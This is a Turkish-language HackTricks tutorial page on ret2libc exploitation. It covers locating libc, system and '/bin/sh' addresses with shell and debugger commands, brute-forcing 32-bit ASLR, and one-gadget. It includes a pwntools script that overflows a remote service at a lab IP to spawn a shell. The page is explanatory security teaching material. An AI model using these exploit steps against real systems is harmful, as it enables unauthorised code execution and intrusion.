Ret2lib

HackTricks'ı Destekleyin

Temel Bilgiler

Ret2Libc'nin özü, zayıf bir programın yürütme akışını, saldırgan tarafından sağlanan shellcode'ın yığında yürütülmesi yerine, paylaşılan bir kütüphane içindeki bir işlevine yönlendirmektir (örneğin, system, execve, strcpy). Saldırgan, geri dönüş adresini değiştiren bir yük oluşturur ve yığında istenen kütüphane işlevine işaret ederken, aynı zamanda çağrı konvansiyonuna göre doğru şekilde ayarlanmış herhangi gerekli argümanın da olmasını sağlar.

Örnek Adımlar (basitleştirilmiş)

  • Çağrılacak işlevin adresini alın (örneğin, system) ve çağrılacak komutu (örneğin, /bin/sh)

  • İlk argümanı komut dizinine işaret edecek şekilde ve yürütme akışını işleve geçirecek şekilde ROP zinciri oluşturun

Adresleri Bulma

  • Kullanılan libc'nin mevcut makineden olanın nerede bellekte yükleneceğini aşağıdaki komutla bulabilirsiniz:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Eğer ASLR'ın libc adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Kullanılan libc bilindiğinde, system işlevine olan ofseti bulmak da mümkündür:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Kullanılan libc bilindiğinde, /bin/sh dizesinin işlevine olan ofseti bulmak da mümkündür:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEF Kullanımı

Kullanılan libc bilindiğinde, system fonksiyonunun, exit fonksiyonunun ve /bin/sh dizesinin adresini almak için Peda veya GEF kullanmak da mümkündür:

p system
p exit
find "/bin/sh"

/proc/<PID>/maps Kullanımı

Eğer işlem her seferinde sizinle iletişim kurduğunda (network server), o dosyayı okumaya çalışın (muhtemelen root olmanız gerekecektir).

Burada işlem içinde libc'nin tam olarak nerede yüklendiğini ve işlemin her çocuğu için nerede yükleneceğini bulabilirsiniz.

Bu durumda 0xb75dc000 adresine yüklendi (Bu, libc'nin taban adresi olacaktır)

Bilinmeyen libc

Binary'nin yüklediği libc'yi bilmediğiniz olabilir (çünkü erişiminiz olmayan bir sunucuda olabilir). Bu durumda, zafiyeti bazı adresleri sızdırarak ve hangi libc kütüphanesinin kullanıldığını bulabilirsiniz:

Leaking libc address with ROP

Ve bunun için bir pwntools şablonunu şurada bulabilirsiniz:

Leaking libc - template

2 ofset ile libc'yi bilmek

https://libc.blukat.me/ sayfasını kontrol edin ve libc içindeki fonksiyonların bir çift adresini kullanarak kullanılan sürümü bulun.

32 bit ASLR'yi atlatma

Bu kaba kuvvet saldırıları yalnızca 32 bit sistemler için kullanışlıdır.

  • Saldırı yerel ise, libc'nin taban adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için kullanışlıdır):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Uzak bir sunucuyu hedef alıyorsanız, libc fonksiyonu usleep'in adresini 10 (örneğin) argümanı olarak geçerek brute-force yöntemini deneyebilirsiniz. Eğer sunucu cevap vermek için 10 saniye daha fazla zaman alıyorsa, bu fonksiyonun adresini buldunuz demektir.

Tek Gadget

Yalnızca bir belirli adrese atlayarak bir kabuk çalıştırın libc içinde:

One Gadget

x86 Ret2lib Kod Örneği

Bu örnekte ASLR brute-force kod içine entegre edilmiş ve zafiyetli ikili dosya uzak bir sunucuda bulunmaktadır:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Kod Örneği

Örneği kontrol etmek için:

ROP - Return Oriented Programing

ARM64 Ret2lib Örneği

ARM64 durumunda, ret komutu x30 kaydının işaret ettiği yere atlar ve yığın kaydının işaret ettiği yere değil. Bu nedenle biraz daha karmaşıktır.

Ayrıca ARM64'te bir komut, ne yapması gerekiyorsa onu yapar (komutların ortasına atlayıp onları yeni komutlara dönüştürmek mümkün değildir).

Örneği kontrol etmek için:

Ret2lib + Printf leak - arm64

Printf'e Ret

Bu, printf/puts'ı belirli bir veriyle bir argüman olarak çağırarak işlemdeki bilgileri sızdırmayı sağlar. Örneğin, GOT'taki puts adresini bir puts çalıştırmasına yerleştirmek, bellekteki puts adresini sızdıracaktır.

Ret2printf

Bu temelde bir Ret2lib'i printf format dizesi açığına dönüştürmek için ret2lib'i kullanarak printf'i çağırmak ve sömürmek için değerlerle kullanmaktır (anlamsız gibi görünse de mümkündür):

Format Strings

Diğer Örnekler ve Referanslar

Last updated